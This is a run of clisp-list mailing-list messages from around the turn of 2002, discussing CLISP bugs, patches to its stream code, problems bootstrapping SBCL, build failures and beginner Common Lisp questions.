     ((STEM (FIRST #:STEM-AND-FLAGS-5802)) (FLAGS (REST #:STEM-AND-FLAGS-5802)))
     (UNLESS (FIND :NOT-HOST FLAGS)
      (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P
       (FIND :IGNORE-FAILURE-P FLAGS))))
    EVAL frame for form 
    (TAGBODY #:G5804 (IF (ENDP #:G5803) (GO #:G5805))
     (SETQ #:STEM-AND-FLAGS-5802 (CAR #:G5803))
     (LET
      ((STEM (FIRST #:STEM-AND-FLAGS-5802)) (FLAGS (REST #:STEM-AND-FLAGS-5802)))
      (UNLESS (FIND :NOT-HOST FLAGS)
       (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P
        (FIND :IGNORE-FAILURE-P FLAGS))))
     ...)
but my guess the failure might be from a RENAME-FILE call within
     (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ).
My impression from the ANSI specification of RENAME-FILE is that it
shouldn't be signalling an error when the target filename already
exists (at least unless there's a permission problem which stops
the rename operation from continuing) but YMMV. Meanwhile, whatever
way CLISP deals with this situation, if anyone who knows
more about the CLISP debugger could tell me more about where and
why the error is happening, I could try to tweak the SBCL build process
to work around the problem.
    
There's also a remaining non-ANSI-ism in CLISP which has historically
caused problems in SBCL bootstrapping, even though I didn't run into
it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals
an error).

Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the
post-CLTL1 "~_" directive) caused problems when I tried to build
another application under CLISP. I use "~_" directives a lot in my
debugging and error messages in any Lisp code, including SBCL, so that
might become a nuisance as further progress is made in SBCL
bootstrapping. It should be straightforward to work around that with
#-CLISP/#+CLISP code, but it would be nice not to have to.

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Hallo

Now I test and test and find something that works. So is there a better
way to do it ? 
This is because I'm new to CL (Version: "2000-03-06 (March 2000)" on
win98).

The code is:
---------------------
(setq sysdat (make-array '(6 3)))

...
(setf (aref sysdat 5 1) 'load)
...

(defun o ()
(eval (list (aref sysdat 5 1) "test.lisp"))
)
-------------------

Usually I named my new coding file "test.lisp". So now I typed in (o)
instead of (load "test.lisp"). The backtrace and redo function is not so
often in use, but the abort, to reach the toplevel. So, what is your
method testing new code ? Are there any tips ?

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> * In message <382EBB97DD96144F814D50663EE8682C4DE55E@exchange1.ssd.fsi.com>
> * On the subject of "[clisp-list] gnuplot"
> * Sent on Thu, 27 Dec 2001 15:58:22 -0600
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> 
> I set:
> (defcustom *gnuplot-path* simple-string
> (defcustom *gnuplot-path-console* simple-string
> in gnuplot.lisp.

it's better not to modify <gnuplot.lisp> but set these variables in
your ~/.clisprc.

> [16]> (setq gp-stream (cllib:make-plot-stream :print)) 
this is for defining new kinds of plot streams, not for UI.

> 	gnuplot> plot sin(x) w l

(plot-functions (list (cons 'sine #'sin) (cons 'cosine #'cos)) 0 pi 100
                :legend '(:bot :left :box) :grid t :plot :wait)

if a function is marked with ";;;###autoload", it's for you to use.

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> * In message <20011230131716.B6073@balefire.localdomain>
> * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP"
> * Sent on Sun, 30 Dec 2001 13:17:16 -0600
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
>   "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)"

this was built in the end of November 2001 from quite old sources.
you should use the CVS sources as many things (like MAKE-LOAD-FORM,
FORMAT ~_ &c) have been added.

> There was a non-ANSI-ism in CLISP that I successfully worked around:
> (DOCUMENTATION X) fails when X is a PACKAGE.

this is a known deficiency: DOCUMENTATION still has CLtL1 implementation.
patches are welcome.

>     Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished.
>     0 errors, 0 warnings
>     *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists
>     1. Break SB-COLD[8]> backtrace
>     EVAL frame for form 
>     (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P
>      (FIND :IGNORE-FAILURE-P FLAGS))

what's the value of the variable LOAD-OR-CLOAD-STEM?
it is the function which generates the error.

> but my guess the failure might be from a RENAME-FILE call within
>      (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ).

:TMP-OBJ is not a valid arg to :OUTPUT-FILE.
(compile-file "d:/sds/lisp/init.lisp" :output-file "c:/tmp/tmp.fas")
works just fine for me.

> There's also a remaining non-ANSI-ism in CLISP which has historically
> caused problems in SBCL bootstrapping, even though I didn't run into
> it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals
> an error).

hmmm - didn't know about this bug.
I will look into this.

> Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the
> post-CLTL1 "~_" directive)

this has been added some months ago.
please use the CVS version.

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> * In message <20011230131716.B6073@balefire.localdomain>
> * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP"
> * Sent on Sun, 30 Dec 2001 13:17:16 -0600
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
>   "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)"

this was built in the end of November 2001 from quite old sources.
you should use the CVS sources as many things (like MAKE-LOAD-FORM,
FORMAT ~_ &c) have been added.

> There was a non-ANSI-ism in CLISP that I successfully worked around:
> (DOCUMENTATION X) fails when X is a PACKAGE.

this is a known deficiency: DOCUMENTATION still has CLtL1 implementation.
patches are welcome.

>     Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished.
>     0 errors, 0 warnings
>     *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists
>     1. Break SB-COLD[8]> backtrace
>     EVAL frame for form 
>     (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P
>      (FIND :IGNORE-FAILURE-P FLAGS))

what's the value of the variable LOAD-OR-CLOAD-STEM?
it is the function which generates the error.

> but my guess the failure might be from a RENAME-FILE call within
>      (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ).

:TMP-OBJ is not a valid arg to :OUTPUT-FILE.
(compile-file "d:/sds/lisp/init.lisp" :output-file "c:/tmp/tmp.fas")
works just fine for me.

> There's also a remaining non-ANSI-ism in CLISP which has historically
> caused problems in SBCL bootstrapping, even though I didn't run into
> it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals
> an error).

hmmm - didn't know about this bug.
I will look into this.

> Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the
> post-CLTL1 "~_" directive)

this has been added some months ago.
please use the CVS version.

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> * In message <m3ofkihurc.fsf@jetcar.qnz.org>
> * On the subject of "[clisp-list] bugs in (setf (stream-element-type x) ...)"
> * Sent on 29 Dec 2001 11:10:47 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> This is with clisp-2.27, on RH Linux 6.2.
> 
> So, I was trying to write some sample code that would act as an HTTP
> client.  What I did was (socket-connect ...), (format ...), then
> (read-line ...) until I got the empty line.  At that point, I did
> (setf (stream-element-type *socket*) '(unsigned byte 8)), and then
> (read-sequence *array* *socket*), where *array* was obtained from
> make-array with the size specified by the Content-Length: header.
> 
> Everything worked, except that the first element in *array* got the
> value 10 (LF), and the rest of the data was shifted by one byte,
> leaving one byte of the actual data unread.  I realized that somehow I
> was getting the final LF from the headers, even though it should have
> already been read.  Indeed, if instead of doing the (setf
> (stream-element-type ...)), I just did (read-char *socket*), I would
> get the first char of the data, and not #\Newline.
> 
> I figured that it probably had something to do with CRLF -> #\Newline
> translation, and that maybe it wouldn't be a problem with buffering.
> So, I tried:
> 
> [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t))
> #<IO BUFFERED SOCKET-STREAM CHARACTER jetcar.qnz.org:80>
> [2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0
> 
> ")
you mean (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0~2%") ? :-)
> NIL
> [3]> (force-output *my-sock*)
> NIL
> [4]> (read-line *my-sock*)
> "HTTP/1.1 200 OK" ;
> NIL
> [5]> (setf (stream-element-type *my-sock*) '(unsigned-byte 8))
> 
> *** - SYSTEM::BUILT-IN-STREAM-SET-ELEMENT-TYPE: argument 
> *** - handle_fault error2 ! address = 0x40490824 not in [0x2029E000,0x2035A410) !
> SIGSEGV cannot be cured. Fault address = 0x40490824.
> Segmentation fault (core dumped)
> 
> Well, I tracked the crash down, and this patch fixes it:
> 
> --- stream.d	Mon Jul 16 10:35:54 2001
> +++ ../../clisp-2.27-tas/src/stream.d	Fri Dec 28 23:31:44 2001
> @@ -16238,9 +16238,9 @@
>        #ifdef SOCKET_STREAMS
>        case strmtype_twoway_socket:
>          # Apply to the input and output side individually.
> -        pushSTACK(TheStream(STACK_1)->strm_twoway_socket_input); pushSTACK(STACK_(0+1));
> +        pushSTACK(TheStream(stream)->strm_twoway_socket_input); pushSTACK(STACK_(0+1));
>          funcall(L(built_in_stream_set_element_type),2);
> -        pushSTACK(TheStream(STACK_1)->strm_twoway_socket_output); pushSTACK(STACK_(0+1));
> +        pushSTACK(TheStream(stream)->strm_twoway_socket_output); pushSTACK(STACK_(0+1));
>          funcall(L(built_in_stream_set_element_type),2);
>          break;
>        #endif

thanks for the patch - I applied it.

> I'm not sure why the code was using STACK_1 instead of stream to begin
> with, but if there was a reason to reference the stack directly, it
> should have been STACK_2, not STACK_1.  With the patch, the buffered
> case works as expected, no extra LF.
> 
> The problem in the unbuffered case turns out to be the way CRLF is
> handled in the unbuffered case.  If read-line encounters a CRLF in the
> input stream, the LF remains unread, and the ignore_next_LF flag is
> set.  When (setf (stream-element-type ...)) is used, that flag is lost
> or discarded, which causes the problem.
> 
> There seem to be a few ways around it, but I haven't attempted any of
> them.
> 
>  o The flag could be done away with by reading the next char from
>  input, and discarding it if it's a LF, and unreading it if not.  In
>  theory, this might cause an app to hang where it wouldn't have before,
>  but I think the risk of that is pretty low.

using UnbufferedStreamLow_listen() should prevent hanging.

        if (ignore_next_LF) {
          if (UnbufferedStreamLow_listen()) {
            if (peak_char() == LF)
              read_char();
          }
        }

patch would be welcome.

>  o The flag could be preserved across the (setf (stream-element-type
>  ...)), but then all the read-byte functions would need to be aware of
>  it.
> 
>  o apps can do a (peek-char *stream*) before
>  (setf (stream-element-type ...)) to workaround it.  Seems gross to
>  require that of apps, though.
> 
> Anyway, this is the first I've looked at clisp source code, so I'm
> sure you'll have a better idea of how to handle this.
> 
> 
> Todd
> 
> p.s.  I looked, but didn't find, some instructions for developers on
> how to debug clisp.  I managed to build it with debugging info by
> adding the appropriate "-g"s to the Makefile, but it crashed with
> sigsegv whenever I tried to do a step or next in gdb.  Is there a
> secret to debugging clisp in gdb?  I had to resort to printfs.  I saw
> the Makefile.devel, but it didn't seem to have any support for doing a
> debug build.

this is strange - I have never seen this.
did you try giving "debug" arg to makemake?
(makemake --help mentions this)

> p.p.s.  Is there any way not to do the CRLF translation?  As it
> stands, if I wanted to, e.g., write a network server that verified
> strict compliance of its clients, i.e., make sure there are both a CR
> and a LF at the end of lines, there's no way to do it with clisp,
> unless I treat everything as bytes instead of chars, which makes lots
> of other things unwieldy.

This is true.
This feature has been requested in the past and was turned down - it
adds more complexity for a doubtful benefit.
The real answer is: "if you want to distinguish between CR and CR/LF,
you are doing something too low level" (or, maybe even "if you think you
need to distinguish between CR and CR/LF, think again").

If you implement a clean interface (e.g., adding INPUT-LINE-TERMINATOR
slot to ENCODING) and send us a patch, we will think about it.

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> * In message <20011230121817.26C8F2755@sitemail.everyone.net>
> * On the subject of "[clisp-list] clisp, defsystem and UncommonSQL"
> * Sent on Sun, 30 Dec 2001 04:18:17 -0800 (PST)
> * Honorable Saul Hazledine <saul@spl.at> writes:
>
>   I am a perl programmer who is learning lisp.

welcome!

> *** - DEFGENERIC DATABASE-LIST-TABLES: No initializations are allowed in a generic function lambda-list: (DATABASE &KEY (SYSTEM-TABLES NIL))
> 
> My question is, am I doing something foolish or is there a problem
> with UncommonSQL when used with clisp? Thanks for any help (and have a
> successful New Year).

this indicates a bug in the code you are loading.
the form

(defgeneric database-list-tables (DATABASE &KEY (SYSTEM-TABLES NIL))
  ...)

is illegal in ANSI Common Lisp:
<http://www.lisp.org/HyperSpec/Body/sec_3-4-2.html>
3.4.2 Generic Function Lambda Lists
...
Optional and keyword arguments

Optional parameters and keyword parameters may not have default initial
value forms nor use supplied-p parameters.

...

a quick fix for you is to edit the file and replace the above form with

(defgeneric database-list-tables (DATABASE &KEY SYSTEM-TABLES)
  ...)

you should definitely report this bug to the authors of the program you
are using!

  
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Hello!

I am starting out with Common Lisp and I have a question:

Does pure LISP include sequential calls to functions, i.e.,=20
(progn f1 f2)?

I can write the previous function as=20
((lambda (p) f2) f1) also that is similar in a mathematical language
to f2(f1) and therefore LISP evaluates f1 first.

How can I write sequential code in LISP without this? In particular I
have a function like this:

(defun terminate (connection message)
  (progn
    (close connection)
    (format t "~s~%" message)
    (exit 1)
  )
)

Can I use thee following construction?

(defun terminate (connection message)
  (exit (format t "~s~%" message (close connection)))
)

TIA,
Miguel Gon=E7alves

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Miguel Gon=E7alves <miguelg@gnu.org> writes:

> Does pure LISP include sequential calls to functions, i.e.,=20
> (progn f1 f2)?
>
> I can write the previous function as=20
> ((lambda (p) f2) f1) also that is similar in a mathematical language
> to f2(f1) and therefore LISP evaluates f1 first.

In "pure LISP" (for reasonable definitions of "pure"), the order of
evaluation of expressions does not matter.


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Does anyone have advise for building clisp on hpux 10.20? I've tried a couple 
of times and configure never completes. Maybe someone has experience before I 
send configure's output.

Richard


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> * In message <20020102104519.A813@takeaway.miguelg.net>
> * On the subject of "[clisp-list] Pure LISP?"
> * Sent on Wed, 2 Jan 2002 10:45:19 +0000
> * Honorable Miguel Gon=E7alves <miguelg@gnu.org> writes:
>
> I am starting out with Common Lisp and I have a question:

general Common Lisp questions are best asked on news:comp.lang.lisp

> Does pure LISP include sequential calls to functions, i.e.,
what's "pure"?

> (progn f1 f2)?

CL has it.

> I can write the previous function as ((lambda (p) f2) f1) also that is
> similar in a mathematical language to f2(f1) and therefore LISP
> evaluates f1 first.

don't do it.
you write code for _people_ (including yourself) to read (the fact that
your code might get executed by a computer is almost an accident).
PROGN is more clear than the lambda expression for this.

> How can I write sequential code in LISP without this? In particular I
> have a function like this:
>=20
> (defun terminate (connection message)
>   (progn
>     (close connection)
>     (format t "~s~%" message)
>     (exit 1)
>   )
> )

hanging parens are ugly.

> Can I use thee following construction?
>=20
> (defun terminate (connection message)
>   (exit (format t "~s~%" message (close connection)))
> )

this happened to be valid in CLISP, even though it is not the same as
your first version (FORMAT returns NIL and not 1).

this is just fine:

(defun terminate (connection message)
  (close connection)
  (format t "~a~%" message)
  (exit 1))



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> * In message <200201021441.g02EfBb07408@rray.mstc.state.ms.us>
> * On the subject of "[clisp-list] Help building clisp on HP/UX 10.20"
> * Sent on Wed, 2 Jan 2002 08:41:10 -0600
> * Honorable Richard Ray <rray1@netdoor.com> writes:
>
> Does anyone have advise for building clisp on hpux 10.20? I've tried a
> couple of times and configure never completes. Maybe someone has
> experience before I send configure's output.

$ uname -a
$ ./configure build

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Sam Steingold <sds@gnu.org> writes:

> > So, I tried:
> > 
> > [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t))
> > #<IO BUFFERED SOCKET-STREAM CHARACTER jetcar.qnz.org:80>
> > [2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0
> > 
> > ")
> you mean (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0~2%") ? :-)

No, there were CR returns in there, as well.  I suppose I could have
done (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0^M~%^M~%").
Most ascii based network protocols specify that lines should end with
CRLF, not just LF.  Many clients get this wrong, and most servers are
forgiving when clients get it wrong, but I like to get it right,
anyway.

> > There seem to be a few ways around it, but I haven't attempted any of
> > them.
> > 
> >  o The flag could be done away with by reading the next char from
> >  input, and discarding it if it's a LF, and unreading it if not.  In
> >  theory, this might cause an app to hang where it wouldn't have before,
> >  but I think the risk of that is pretty low.
> 
> using UnbufferedStreamLow_listen() should prevent hanging.
> 
>         if (ignore_next_LF) {
>           if (UnbufferedStreamLow_listen()) {
>             if (peak_char() == LF)
>               read_char();
>           }
>         }
> 
> patch would be welcome.
> 

Will the low-level peek_char do roughly the same thing as the
lisp-level one?  I.e., read-char, unread-char?  If so, then that may
not work, because it probably means the user can't unread the
#\Newline he's about to get, since we may have just unread the next
char.  Or is there a way around this?

Also, this wouldn't handle the case where the next character will be a
LF, but it's not available, yet.  This can happen in the buffered
case, as well, and it's not even necessary to use
(setf (stream-element-type ..)) to get incorrect results in that case.
It seems that the buffered case needs to pay attention to ignore_next_LF,
too.

There seem to be other implications with the way things currently
stand, as well.  Say I want to write an HTTP proxy.  What I'd do is
listen for a connection on a socket.  When I get one, do read-line
until I get an empty line, process the request, send the results to my
client and close the socket (stream).  If I do that but don't use a
buffered stream, then I'll end up sending a TCP RST to my client
because the last LF of his request will remain unread.  Ugh.

> > secret to debugging clisp in gdb?  I had to resort to printfs.  I saw
> > the Makefile.devel, but it didn't seem to have any support for doing a
> > debug build.
> 
> this is strange - I have never seen this.
> did you try giving "debug" arg to makemake?
> (makemake --help mentions this)
> 

Ah, didn't see makemake, thanks.  I just scanned though configure and
Makefile.

> > p.p.s.  Is there any way not to do the CRLF translation?  As it
> > stands, if I wanted to, e.g., write a network server that verified
> > strict compliance of its clients, i.e., make sure there are both a CR
> > and a LF at the end of lines, there's no way to do it with clisp,
> > unless I treat everything as bytes instead of chars, which makes lots
> > of other things unwieldy.
> 
> This is true.
> This feature has been requested in the past and was turned down - it
> adds more complexity for a doubtful benefit.
> The real answer is: "if you want to distinguish between CR and CR/LF,
> you are doing something too low level" (or, maybe even "if you think you
> need to distinguish between CR and CR/LF, think again").
> 

Well, if the feature has been requested before and is being requested
again, perhaps that means there is a benefit.  I know why I'd want to
be able to distinguish CR and CRLF, and I even gave an example.

> If you implement a clean interface (e.g., adding INPUT-LINE-TERMINATOR
> slot to ENCODING) and send us a patch, we will think about it.
> 

Well, I don't need it enough to implement it, presently.  Especially
if I'm not sure the maintainers are receptive to the idea.  Just
getting CRLF->LF translation right seems like enough of a challenge
for now.  I may just workaround it with peek-char and/or buffering,
but it'd be nice to fix it right.


Todd


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On Tue, Jan 01, 2002 at 10:38:30PM -0500, Sam Steingold wrote:
> > * In message <20011230131716.B6073@balefire.localdomain>
> > * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP"
> > * Sent on Sun, 30 Dec 2001 13:17:16 -0600
> > * Honorable William Harold Newman <william.newman@airmail.net> writes:
> >
> >   "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)"
> 
> this was built in the end of November 2001 from quite old sources.
> you should use the CVS sources as many things (like MAKE-LOAD-FORM,
> FORMAT ~_ &c) have been added.

Good.
 
> > There was a non-ANSI-ism in CLISP that I successfully worked around:
> > (DOCUMENTATION X) fails when X is a PACKAGE.
> 
> this is a known deficiency: DOCUMENTATION still has CLtL1 implementation.
> patches are welcome.

Right.
 
> >     Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished.
> >     0 errors, 0 warnings
> >     *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists
> >     1. Break SB-COLD[8]> backtrace
> >     EVAL frame for form 
> >     (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P
> >      (FIND :IGNORE-FAILURE-P FLAGS))
> 
> what's the value of the variable LOAD-OR-CLOAD-STEM?
> it is the function which generates the error.
> 
> > but my guess the failure might be from a RENAME-FILE call within
> >      (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ).
> 
> :TMP-OBJ is not a valid arg to :OUTPUT-FILE.

That was a typo in my previous message. It's actually TMP-OBJ, a variable
holding an arbitrary filename. (One which for weird historical reasons
doesn't end either in ".fas" or in ".lib", but in something like 
".lisp-obj".)

Incidentally, I've since rediscovered that CLISP uses two files to
represent compiled files. The SBCL build process -- for more weird
historical reasons -- relies on moving the file created by
COMPILE-FILE to a new location. How important is the second file
created by CLISP's COMPILE-FILE? Is the SBCL build process going to
fail because it only moves part of the output of COMPILE-FILE?

> (compile-file "d:/sds/lisp/init.lisp" :output-file "c:/tmp/tmp.fas")
> works just fine for me.
> 
> > There's also a remaining non-ANSI-ism in CLISP which has historically
> > caused problems in SBCL bootstrapping, even though I didn't run into
> > it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals
> > an error).
> 
> hmmm - didn't know about this bug.
> I will look into this.
> 
> > Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the
> > post-CLTL1 "~_" directive)
> 
> this has been added some months ago.
> please use the CVS version.

I just tried that. I checked out a fresh copy of the source a few hours
ago onto my old RedHat Linux machine, 6.2 IIRC,
  $ uname -a
  Linux lightning.localdomain 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown
I did
    8  ./configure
    9  cd src
   10  makemake  --with-readline --with-gettext --with-dynamic-ffi > Makefile
   11  ./makemake  --with-readline --with-gettext --with-dynamic-ffi > Makefile
   12  make config.lisp
   13  make
It failed. The tail of the output from "make" looks like this:
  gcc -g -O2 -I. -I../../sigsegv ../../sigsegv/test3.c -x none -o test3  ./.libs/libsigsegv.a
  ./test1
  ./test2
  ./test3
  Starting recursion pass 1.
  Stack overflow 1 caught.
  Starting recursion pass 2.
  Stack overflow 2 caught.
  Test passed.
  make[1]: Leaving directory `/usr/local/src/clisp/src/sigsegv'
  make[1]: Entering directory `/usr/local/src/clisp/src/sigsegv'
  if [ ! -d /usr/local/src/clisp/src ] ; then mkdir /usr/local/src/clisp/src ; fi
  /bin/sh ./libtool --mode=install /usr/bin/install -c -m 644 libsigsegv.la /usr/local/src/clisp/src/libsigsegv.la
  /usr/bin/install -c -m 644 .libs/libsigsegv.lai /usr/local/src/clisp/src/libsigsegv.la
  /usr/bin/install -c -m 644 .libs/libsigsegv.a /usr/local/src/clisp/src/libsigsegv.a
  ranlib /usr/local/src/clisp/src/libsigsegv.a
  chmod 644 /usr/local/src/clisp/src/libsigsegv.a
  libtool: install: warning: remember to run `libtool --finish /usr/local/lib'
  if [ ! -d /usr/local/src/clisp/src ] ; then mkdir /usr/local/src/clisp/src ; fi
  /usr/bin/install -c -m 644 sigsegv.h /usr/local/src/clisp/src/sigsegv.h
  make[1]: Leaving directory `/usr/local/src/clisp/src/sigsegv'
  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c spvw.c
  In file included from lispbibl.d:1751,
                   from spvw.d:21:
  unix.d:874: conflicting types for `iconv'
  /usr/include/iconv.h:45: previous declaration of `iconv'
  In file included from spvw.d:21:
  lispbibl.d:7039: warning: register used for two global register variables
  spvw.d: In function `main':
  spvw.d:1705: warning: variable `argv_memneed' might be clobbered by `longjmp' or `vfork'
  make: *** [spvw.o] Error 1

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William Harold Newman <william.newman@airmail.net> writes:

> 
> I just tried that. I checked out a fresh copy of the source a few hours
> ago onto my old RedHat Linux machine, 6.2 IIRC,
>[...]
>   gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c spvw.c
>   In file included from lispbibl.d:1751,
>                    from spvw.d:21:
>   unix.d:874: conflicting types for `iconv'
>   /usr/include/iconv.h:45: previous declaration of `iconv'

I'm seeing the same thing with the latest cvs on RH 6.2.  The problem
is that ICONV_CONST isn't being set properly.  I commented out the
three iconv decls in unix.d and it built ok afterwards.  No idea how
to fix the configure script.

The latest cvs builds fine on my RH 7.2 box.


Todd


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[1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t))
#<IO BUFFERED SOCKET-STREAM CHARACTER jetcar.qnz.org:80>
[2]> (socket-stream-peer *my-sock*)

*** - UNIX error 9 (EBADF): Bad file number
1. Break [3]> 


Problem is the use of strm_ichannel instead of strm_buffered_channel
on a buffered stream.

Patch against current cvs:

--- stream.d~	Tue Jan  1 23:09:10 2002
+++ stream.d	Wed Jan  2 22:21:06 2002
@@ -14965,7 +14965,9 @@
   var bool resolve_p = (eq(NIL,STACK_0) || eq(unbound,STACK_0));
   skipSTACK(1);
   var object stream = test_socket_stream(popSTACK(),true);
-  var SOCKET sk = TheSocket(TheStream(stream)->strm_ichannel);
+  var SOCKET sk = ChannelStream_buffered (stream) 
+        ? TheSocket(TheStream(stream)->strm_buffered_channel)
+        : TheSocket(TheStream(stream)->strm_ichannel);
   var host_data hd;
 
     begin_system_call();


It looks like there are probably other places that may need something
similar.


Todd


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Is there a reason why socket-streams are not real two-way streams?
The implementation notes refer to them as two-way streams as opposed
to just IO streams, but two-way-stream-input-stream, e.g. fails on
them.

However, if I just do this:

 # check whether the stream S is a two-way-stream
 #define stream_twoway_p(s)                                              \
-  (builtin_stream_p(s) && (TheStream(s)->strmtype == strmtype_twoway))
+  (builtin_stream_p(s) && ((TheStream(s)->strmtype == strmtype_twoway)
+                           || (TheStream(s)->strmtype == strmtype_twoway_socket)))
 
Then buffered sockets, at least, work as you would expect.  At least,
in my two minutes of testing :).  With a little work, the unbuffered
case could be handled similarly.  Would you accept a patch which did
this?


Todd


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On Wed, 2 Jan 2002 14:31:46 -0600, William Harold Newman wrote:

> Incidentally, I've since rediscovered that CLISP uses two files to
> represent compiled files. The SBCL build process -- for more weird
> historical reasons -- relies on moving the file created by
> COMPILE-FILE to a new location. How important is the second file
> created by CLISP's COMPILE-FILE? Is the SBCL build process going to

I include below a reply by Bruno to a similar question I asked a while back
to the list.


Paolo

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~To: Multiple recipients of list <clisp-list@clisp.cons.org>
~Subject: Re: What's the purpose of .lib files?
~From: Bruno Haible <haible@ilog.fr>
~Date: Thu, 24 Sep 1998 09:55:03 -0700 (PDT)

Paolo Amoroso <amoroso@mclink.it> asks:
> What is the purpose of the .lib files generated by the compiler?

The .lib files contain definitions that may be needed for compiling other
files.

Suppose you have a file A.lsp, defining functions, macros, constants etc.
And you have a file B.lsp, which contains a  (require 'A)  statement,
because it uses some things defined by A.lsp. Then compilations of B.lsp
will profit from a file A.lib, generated by a previous compilation of
A.lsp.
The benefit is threefold:

  - You don't need to have A loaded in order to compile B. If memory
    is tight, and if A contains only few inline functions, macros or
    constants, this is a space and time saver. If A.lsp does a lot
    of initializations or side effects when being loaded, this is
    important as well.

  - You don't need to have A loaded in order to compile B. You don't
    even have to *think* about A when loading or compiling B.

  - Suppose A.lsp is changed rarely, and B.lsp is changed frequently.
    It would be a waste of time to compile both A and B every time.
    The .lib file ensures that A is compiled only when needed.

Bruno
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On Wednesday 02 January 2002 09:07 am, you wrote:
> > * In message <200201021441.g02EfBb07408@rray.mstc.state.ms.us>
> > * On the subject of "[clisp-list] Help building clisp on HP/UX 10.20"
> > * Sent on Wed, 2 Jan 2002 08:41:10 -0600
> > * Honorable Richard Ray <rray1@netdoor.com> writes:
> >
> > Does anyone have advise for building clisp on hpux 10.20? I've tried a
> > couple of times and configure never completes. Maybe someone has
> > experience before I send configure's output.
>
> $ uname -a
> $ ./configure build

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> * In message <m3bsgchg1o.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] bugs in (setf (stream-element-type x) ...)"
> * Sent on 02 Jan 2002 11:29:55 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> > > So, I tried:
> > > 
> > > [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t))
> > > #<IO BUFFERED SOCKET-STREAM CHARACTER jetcar.qnz.org:80>
> > > [2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0
> > > 
> > > ")
> > you mean (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0~2%") ? :-)
> 
> No, there were CR returns in there, as well.  I suppose I could have
> done (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0^M~%^M~%").

if you do
(socket-connect 80 "jetcar.qnz.org" :buffered t :external-format :dos)
then TERPRI will send CRLF.

> > > There seem to be a few ways around it, but I haven't attempted any of
> > > them.
> > > 
> > >  o The flag could be done away with by reading the next char from
> > >  input, and discarding it if it's a LF, and unreading it if not.  In
> > >  theory, this might cause an app to hang where it wouldn't have before,
> > >  but I think the risk of that is pretty low.
> > 
> > using UnbufferedStreamLow_listen() should prevent hanging.
> > 
> >         if (ignore_next_LF) {
> >           if (UnbufferedStreamLow_listen()) {
> >             if (peak_char() == LF)
> >               read_char();
> >           }
> >         }
> > 
> > patch would be welcome.
> > 
> 
> Will the low-level peek_char do roughly the same thing as the
> lisp-level one?  I.e., read-char, unread-char?

no, they use non-blocking libc routines.

> Also, this wouldn't handle the case where the next character will be a
> LF, but it's not available, yet.  This can happen in the buffered
> case, as well, and it's not even necessary to use
> (setf (stream-element-type ..)) to get incorrect results in that case.
> It seems that the buffered case needs to pay attention to ignore_next_LF,
> too.
> 
> There seem to be other implications with the way things currently
> stand, as well.  Say I want to write an HTTP proxy.  What I'd do is
> listen for a connection on a socket.  When I get one, do read-line
> until I get an empty line, process the request, send the results to my
> client and close the socket (stream).  If I do that but don't use a
> buffered stream, then I'll end up sending a TCP RST to my client
> because the last LF of his request will remain unread.  Ugh.

yes, this is an issue.
patch is welcome.

> > > p.p.s.  Is there any way not to do the CRLF translation?  As it
> > > stands, if I wanted to, e.g., write a network server that verified
> > > strict compliance of its clients, i.e., make sure there are both a CR
> > > and a LF at the end of lines, there's no way to do it with clisp,
> > > unless I treat everything as bytes instead of chars, which makes lots
> > > of other things unwieldy.
> > 
> > This is true.
